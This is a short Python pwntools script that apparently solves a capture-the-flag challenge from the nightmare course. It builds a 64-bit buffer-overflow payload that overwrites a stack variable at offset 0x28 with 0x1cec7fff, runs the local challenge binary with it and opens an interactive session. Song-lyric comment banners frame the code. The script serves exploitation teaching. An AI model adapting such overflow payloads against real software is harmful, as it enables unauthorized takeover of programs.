# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *


import sf

import time


bof_payload = sf.BufferOverflow(arch=64)


bof_payload.set_input_start(0x28)
bof_payload.add_int32(0xc, 0x1cec7fff)
payload = bof_payload.generate_payload()

payload = payload.replace(b"\x00", b"")


target = process(["./chall-test_icectf15-overflow1", payload])



target.interactive()

# +------------------------------------------------+
# | Artist: Distrubed                              |
# +------------------------------------------------+
# | Song: Prayer                                   |
# +------------------------------------------------+
# | Let me enlighten you,                          |
# | this is the way I pray                         |
# +------------------------------------------------+

